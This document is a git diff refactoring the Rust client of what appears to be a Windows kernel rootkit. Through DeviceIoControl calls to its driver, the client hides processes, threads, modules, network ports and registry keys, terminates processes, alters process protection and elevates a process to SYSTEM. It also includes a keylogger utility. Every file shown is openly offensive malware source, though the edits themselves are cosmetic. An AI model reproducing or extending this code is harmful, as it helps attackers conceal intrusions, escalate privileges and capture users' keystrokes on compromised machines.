TargetModule, + TargetProcess +}; + /// Provides operations for managing modules within a process through a driver interface. -pub struct Module { - driver_handle: HANDLE, -} +pub struct Module(HANDLE); impl Module { /// Creates a new `Module` instance, opening a handle to the driver. @@ -22,8 +26,8 @@ impl Module { /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Module { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Enumerates all modules within a specified process by `pid`. @@ -33,20 +37,20 @@ impl Module { /// * `ioctl_code` - The IOCTL code for the enumeration operation. /// * `pid` - A reference to the PID of the process whose modules will be enumerated. pub fn enumerate_module(self, ioctl_code: u32, pid: &u32) { - log::info!("Attempting to enumerate modules for PID: {pid}"); + info!("Attempting to enumerate modules for PID: {pid}"); - log::debug!("Preparing structure for pid: {pid}"); + debug!("Preparing structure for pid: {pid}"); let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() }; let mut input_module = TargetProcess { pid: *pid as usize, ..Default::default() }; - log::debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}"); + debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}"); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut input_module as *mut _ as *mut c_void, size_of::() as u32, @@ -58,11 +62,11 @@ impl Module { }; if status == 0 { - log::error!("DeviceIoControl failed with status: 0x{:08X} for PID: {pid}", unsafe { GetLastError() } ); + error!("DeviceIoControl failed with status: 0x{:08X} for PID: {pid}", unsafe { GetLastError() } ); } else { let total_modules = return_buffer as usize / size_of::(); - log::info!("Total modules found for PID {pid}: {total_modules}"); - log::info!("Listing modules:"); + info!("Total modules found for PID {pid}: {total_modules}"); + info!("Listing modules:"); println!(); for module in module_info.iter() { @@ -70,7 +74,7 @@ impl Module { let name = match String::from_utf16(&module.name) { Ok(name) => name, Err(err) => { - log::error!("UTF-16 decoding error: {:?}", err); + error!("UTF-16 decoding error: {:?}", err); continue; } }; @@ -79,7 +83,7 @@ impl Module { } println!(); - log::info!("Module enumeration completed for PID: {pid}"); + info!("Module enumeration completed for PID: {pid}"); } } @@ -91,19 +95,19 @@ impl Module { /// * `name` - A reference to the module name to hide. /// * `pid` - The PID of the process containing the module to hide. pub fn hide_module(self, ioctl_code: u32, name: &String, pid: u32) { - log::debug!("Attempting to open the module for hide operation"); + debug!("Attempting to open the module for hide operation"); - log::debug!("Preparing structure for: {}", name); + debug!("Preparing structure for: {}", name); let mut info_driver = TargetModule { module_name: name.to_string(), pid: pid as usize, }; - log::debug!("Sending DeviceIoControl command to hide module"); + debug!("Sending DeviceIoControl command to hide module"); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut info_driver as *mut _ as *mut c_void, size_of::() as u32, @@ -115,9 +119,9 @@ impl Module { }; if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Module successfully hidden"); + info!("Module successfully hidden"); } } } @@ -125,7 +129,7 @@ impl Module { impl Drop for Module { /// Ensures the driver handle is closed when `Module` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/modules/network.rs b/client/src/modules/network.rs index d5743d8..e6dc565 100644 --- a/client/src/modules/network.rs +++ b/client/src/modules/network.rs @@ -1,15 +1,19 @@ -use crate::utils::{open_driver, PortType, Protocol}; -use common::structs::TargetPort; use std::{ffi::c_void, ptr::null_mut}; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{CloseHandle, GetLastError, HANDLE}, System::IO::DeviceIoControl, }; +use common::structs::TargetPort; +use crate::utils::{ + open_driver, + PortType, + Protocol +}; + /// Provides operations for managing network ports through a driver interface. -pub struct Network { - driver_handle: HANDLE, -} +pub struct Network(HANDLE); impl Network { /// Creates a new `Port` instance, opening a handle to the driver. @@ -22,8 +26,8 @@ impl Network { /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Self { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Hides or unhides a specific network port. @@ -53,7 +57,7 @@ impl Network { let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut port_info as *mut _ as *mut c_void, size_of::() as u32, @@ -65,9 +69,9 @@ impl Network { }; if status == 0 { - log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Port with number {} successfully {}hidden", port_number, if enable { "" } else { "un" }); + info!("Port with number {} successfully {}hidden", port_number, if enable { "" } else { "un" }); } } } @@ -75,7 +79,7 @@ impl Network { impl Drop for Network { /// Ensures the driver handle is closed when `Port` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/modules/process.rs b/client/src/modules/process.rs index 750af7e..18030a7 100644 --- a/client/src/modules/process.rs +++ b/client/src/modules/process.rs @@ -1,18 +1,18 @@ -use common::structs::TargetProcess; use std::{ffi::c_void, mem::size_of, ptr::null_mut}; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{CloseHandle, GetLastError, HANDLE}, System::IO::DeviceIoControl, }; + +use common::structs::TargetProcess; use crate::{ utils::{open_driver, Options}, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE, }; /// Provides operations for managing processes through a driver interface. -pub struct Process { - driver_handle: HANDLE, -} +pub struct Process(HANDLE); impl Process { /// Creates a new `Process` instance, opening a handle to the driver. @@ -25,8 +25,8 @@ impl Process { /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Process { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Hides or unhides a Process specified by `pid`. @@ -38,7 +38,7 @@ impl Process { /// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the Process. pub fn hide_unhide_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) { if let Some(pid_value) = pid { - log::info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value); + info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value); let pid = *pid_value as usize; let mut target_process = TargetProcess { enable, @@ -49,7 +49,7 @@ impl Process { let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut target_process as *mut _ as *mut c_void, size_of::() as u32, @@ -61,12 +61,12 @@ impl Process { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" }); + info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" }); } } else { - log::error!("PID not supplied"); + error!("PID not supplied"); } } @@ -78,7 +78,7 @@ impl Process { /// * `ioctl_code` - The IOCTL code for the terminate operation. pub fn terminate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) { if let Some(pid_value) = pid { - log::info!("Preparing to terminate process: {}", pid_value); + info!("Preparing to terminate process: {}", pid_value); let pid = *pid_value as usize; let mut target_process = TargetProcess { pid, @@ -88,7 +88,7 @@ impl Process { let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut target_process as *mut _ as *mut c_void, size_of::() as u32, @@ -100,12 +100,12 @@ impl Process { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Process with PID {} terminated successfully", pid); + info!("Process with PID {} terminated successfully", pid); } } else { - log::error!("PID not supplied"); + error!("PID not supplied"); } } @@ -119,7 +119,7 @@ impl Process { #[cfg(not(feature = "mapper"))] pub fn protection_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) { if let Some(pid_value) = pid { - log::info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value); + info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value); let pid = *pid_value as usize; let mut target_process = TargetProcess { pid, @@ -130,7 +130,7 @@ impl Process { let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut target_process as *mut _ as *mut c_void, size_of::() as u32, @@ -142,14 +142,14 @@ impl Process { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { + error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" }); + info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" }); } } else { - log::error!("PID not supplied"); + error!("PID not supplied"); } } @@ -169,7 +169,7 @@ impl Process { let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut enumeration_input as *mut _ as *mut c_void, size_of::() as u32, @@ -181,10 +181,10 @@ impl Process { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { let total_process = return_buffer as usize / size_of::(); - log::info!("Total Processes: {}", total_process); + info!("Total Processes: {}", total_process); println!("Listing Processes:"); for (i, process) in info_process.iter().enumerate().take(total_process) { if process.pid > 0 { @@ -210,7 +210,7 @@ impl Process { tp: &PS_PROTECTED_TYPE, ) { if let Some(pid_value) = pid { - log::info!("Preparing to apply signature protection for process: {}", pid_value); + info!("Preparing to apply signature protection for process: {}", pid_value); let pid = *pid_value as usize; let sg = *sg as usize; let tp = *tp as usize; @@ -224,7 +224,7 @@ impl Process { let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut info_protection_process as *mut _ as *mut c_void, size_of::() as u32, @@ -236,9 +236,9 @@ impl Process { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Process with PID {} successfully protected", pid); + info!("Process with PID {} successfully protected", pid); } } } @@ -251,7 +251,7 @@ impl Process { /// * `ioctl_code` - The IOCTL code for the elevation operation. pub fn elevate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) { if let Some(pid_value) = pid { - log::info!("Preparing to elevate process: {}", pid_value); + info!("Preparing to elevate process: {}", pid_value); let pid = *pid_value as usize; let mut target_process = TargetProcess { pid, @@ -261,7 +261,7 @@ impl Process { let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut target_process as *mut _ as *mut c_void, size_of::() as u32, @@ -273,12 +273,12 @@ impl Process { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Process with PID {} elevated to System", pid); + info!("Process with PID {} elevated to System", pid); } } else { - log::error!("PID not supplied"); + error!("PID not supplied"); } } } @@ -286,7 +286,7 @@ impl Process { impl Drop for Process { /// Ensures the driver handle is closed when `Thread` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/modules/registry.rs b/client/src/modules/registry.rs index 1f4ece6..ad15d29 100644 --- a/client/src/modules/registry.rs +++ b/client/src/modules/registry.rs @@ -1,15 +1,15 @@ -use crate::utils::open_driver; -use common::structs::TargetRegistry; use std::{ffi::c_void, ptr::null_mut}; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{CloseHandle, GetLastError, HANDLE}, System::IO::DeviceIoControl, }; +use crate::utils::open_driver; +use common::structs::TargetRegistry; + /// Provides operations for managing the registry through a driver interface. -pub struct Registry { - driver_handle: HANDLE, -} +pub struct Registry(HANDLE); impl Registry { /// Creates a new `Registry` instance, opening a handle to the driver. @@ -22,8 +22,8 @@ impl Registry { /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Registry { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Enables or disables protection for a specified registry key and value. @@ -35,19 +35,19 @@ impl Registry { /// * `key` - A reference to the registry key name to protect. /// * `enable` - `true` to enable protection or `false` to disable it. pub fn registry_protection(self, ioctl_code: u32, value: &String, key: &String, enable: bool) { - log::info!("Attempting to open the registry for protection operation"); - log::debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" }); + info!("Attempting to open the registry for protection operation"); + debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" }); let mut info_registry = TargetRegistry { enable, value: value.to_string(), key: key.to_string(), }; - log::debug!("Sending DeviceIoControl command to {} protection for key: {key} | value: {value}", if enable { "enable" } else { "disable" }); + debug!("Sending DeviceIoControl command to {} protection for key: {key} | value: {value}", if enable { "enable" } else { "disable" }); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut info_registry as *mut _ as *mut c_void, std::mem::size_of::() as u32, @@ -59,9 +59,9 @@ impl Registry { }; if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Registry protection {} for Key: {key} and Value: {value} succeeded", if enable { "enabled" } else { "disabled" }); + info!("Registry protection {} for Key: {key} and Value: {value} succeeded", if enable { "enabled" } else { "disabled" }); } } @@ -74,9 +74,9 @@ impl Registry { /// * `key` - A reference to the registry key name to hide/unhide. /// * `enable` - `true` to hide or `false` to unhide. pub fn registry_hide_unhide(self, ioctl_code: u32, value: &String, key: &String, enable: bool) { - log::info!("Attempting to open the registry for hide/unhide operation"); + info!("Attempting to open the registry for hide/unhide operation"); - log::debug!("Preparing structure for Key: {key} | Value: {value} | Operation: {}", if enable { "hide" } else { "unhide" }); + debug!("Preparing structure for Key: {key} | Value: {value} | Operation: {}", if enable { "hide" } else { "unhide" }); let mut info_registry = TargetRegistry { enable, key: key.to_string(), @@ -84,11 +84,11 @@ impl Registry { ..Default::default() }; - log::debug!("Sending DeviceIoControl command to {} registry for Key: {key} | Value: {value}", if enable { "hide" } else { "unhide" }); + debug!("Sending DeviceIoControl command to {} registry for Key: {key} | Value: {value}", if enable { "hide" } else { "unhide" }); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut info_registry as *mut _ as *mut c_void, std::mem::size_of::() as u32, @@ -100,9 +100,9 @@ impl Registry { }; if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Registry with Key: {key} and Value: {value} successfully {}hidden", if enable { "" } else { "un" }); + info!("Registry with Key: {key} and Value: {value} successfully {}hidden", if enable { "" } else { "un" }); } } } @@ -110,7 +110,7 @@ impl Registry { impl Drop for Registry { /// Ensures the driver handle is closed when `Registry` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/modules/thread.rs b/client/src/modules/thread.rs index f0cc367..74dc404 100644 --- a/client/src/modules/thread.rs +++ b/client/src/modules/thread.rs @@ -1,15 +1,15 @@ -use crate::utils::{open_driver, Options}; -use common::structs::TargetThread; use std::{ffi::c_void, mem::size_of, ptr::null_mut}; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{CloseHandle, HANDLE}, System::IO::DeviceIoControl, }; +use common::structs::TargetThread; +use crate::utils::{open_driver, Options}; + /// Provides operations for managing threads through a driver interface. -pub struct Thread { - driver_handle: HANDLE, -} +pub struct Thread(HANDLE); impl Thread { /// Creates a new `Thread` instance, opening a handle to the driver. @@ -22,8 +22,8 @@ impl Thread { /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Thread { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Hides or unhides a thread specified by `tid`. @@ -34,9 +34,9 @@ impl Thread { /// * `ioctl_code` - The IOCTL code for the hide/unhide operation. /// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the thread. pub fn hide_unhide_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) { - log::debug!("Attempting to open the driver for hide/unhide operation"); + debug!("Attempting to open the driver for hide/unhide operation"); if let Some(tid_value) = tid { - log::debug!("Preparing structure for TID: {}", tid_value); + debug!("Preparing structure for TID: {}", tid_value); let mut return_buffer = 0; let tid = *tid_value as usize; let mut target_thread = TargetThread { @@ -45,10 +45,10 @@ impl Thread { ..Default::default() }; - log::debug!( "Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" }); + debug!( "Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" }); let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut target_thread as *mut _ as *mut c_void, size_of::() as u32, @@ -60,12 +60,12 @@ impl Thread { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", status); + error!("DeviceIoControl Failed with status: 0x{:08X}", status); } else { - log::info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" }); + info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" }); } } else { - log::error!("TID not supplied"); + error!("TID not supplied"); } } @@ -78,9 +78,9 @@ impl Thread { /// * `enable` - A boolean indicating whether to enable (`true`) or disable (`false`) protection. #[cfg(not(feature = "mapper"))] pub fn protection_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) { - log::debug!("Attempting to open the driver for thread protection operation"); + debug!("Attempting to open the driver for thread protection operation"); if let Some(tid_value) = tid { - log::debug!("Preparing structure for TID: {}", tid_value); + debug!("Preparing structure for TID: {}", tid_value); let mut return_buffer = 0; let tid = *tid_value as usize; let mut target_thread = TargetThread { @@ -89,10 +89,10 @@ impl Thread { ..Default::default() }; - log::debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" }); + debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" }); let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut target_thread as *mut _ as *mut c_void, size_of::() as u32, @@ -104,12 +104,12 @@ impl Thread { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", status); + error!("DeviceIoControl Failed with status: 0x{:08X}", status); } else { - log::info!("Thread TID {tid} with anti-kill and dumping functions {}", if enable { "enabled" } else { "disabled" }); + info!("Thread TID {tid} with anti-kill and dumping functions {}", if enable { "enabled" } else { "disabled" }); } } else { - log::error!("TID not supplied"); + error!("TID not supplied"); } } @@ -120,18 +120,18 @@ impl Thread { /// * `ioctl_code` - The IOCTL code for the enumeration operation. /// * `option` - Reference to `Options` struct specifying options for the enumeration. pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) { - log::debug!("Attempting to open the driver for thread enumeration"); + debug!("Attempting to open the driver for thread enumeration"); let mut info_thread: [TargetThread; 100] = unsafe { std::mem::zeroed() }; let mut enumeration_input = TargetThread { options: option.to_shared(), ..Default::default() }; - log::debug!("Sending DeviceIoControl command to enumerate threads"); + debug!("Sending DeviceIoControl command to enumerate threads"); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut enumeration_input as *mut _ as *mut c_void, size_of::() as u32, @@ -143,13 +143,13 @@ impl Thread { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", status); + error!("DeviceIoControl Failed with status: 0x{:08X}", status); } else { let total_threads = return_buffer as usize / size_of::(); - log::info!("Total Threads: {}", total_threads); + info!("Total Threads: {}", total_threads); for (i, thread) in info_thread.iter().enumerate().take(total_threads) { if thread.tid > 0 { - log::info!("[{}] {}", i, info_thread[i].tid); + info!("[{}] {}", i, info_thread[i].tid); } } } @@ -159,7 +159,7 @@ impl Thread { impl Drop for Thread { /// Ensures the driver handle is closed when `Thread` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/utils/keylogger.rs b/client/src/utils/keylogger.rs index 734a884..ec9250c 100644 --- a/client/src/utils/keylogger.rs +++ b/client/src/utils/keylogger.rs @@ -1,15 +1,21 @@ use super::VK_CHARS; use crate::{ - is_key_down, - modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE}, + is_key_down, set_key_down, + modules::{ + KEY_PREVIOUS, + KEY_RECENT, + KEY_STATE + }, }; /// Updates the status of the keys. -pub unsafe fn update_key_state() { - for i in 0..256 { - if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) { - set_key_down!(KEY_RECENT, i, true); +pub fn update_key_state() { + unsafe { + for i in 0..256 { + if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) { + set_key_down!(KEY_RECENT, i, true); + } } } } @@ -23,10 +29,12 @@ pub unsafe fn update_key_state() { /// # Returns /// /// * `bool` - if the key was pressed, otherwise `false`. -pub unsafe fn key_pressed(key: u8) -> bool { - let result = is_key_down!(KEY_RECENT, key); - set_key_down!(KEY_RECENT, key, false); - result +pub fn key_pressed(key: u8) -> bool { + unsafe { + let result = is_key_down!(KEY_RECENT, key); + set_key_down!(KEY_RECENT, key, false); + result + } } /// Converts a virtual key code to a character. diff --git a/client/src/utils/mod.rs b/client/src/utils/mod.rs index 6ad36f6..816c502 100644 --- a/client/src/utils/mod.rs +++ b/client/src/utils/mod.rs @@ -1,14 +1,21 @@ +use std::{io::Write, path::Path, ptr::null_mut}; + use colored::Colorize; use env_logger::Builder; use log::{Level, LevelFilter}; - -use std::{io::Write, path::Path, ptr::null_mut}; use sysinfo::System; use windows_sys::{ w, Win32::{ - Foundation::{GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE}, - Storage::FileSystem::{CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}, + Foundation::{ + GetLastError, GENERIC_READ, + GENERIC_WRITE, INVALID_HANDLE_VALUE, + HANDLE, + }, + Storage::FileSystem::{ + CreateFileW, FILE_ATTRIBUTE_NORMAL, + OPEN_EXISTING + }, }, }; @@ -60,9 +67,7 @@ pub fn open_driver() -> Result { }; if h_file == INVALID_HANDLE_VALUE { - log::error!("CreateFileW failed with error: {}", unsafe { - GetLastError() - }); + log::error!("CreateFileW failed with error: {}", unsafe { GetLastError() }); return Err("Failed to open the driver."); }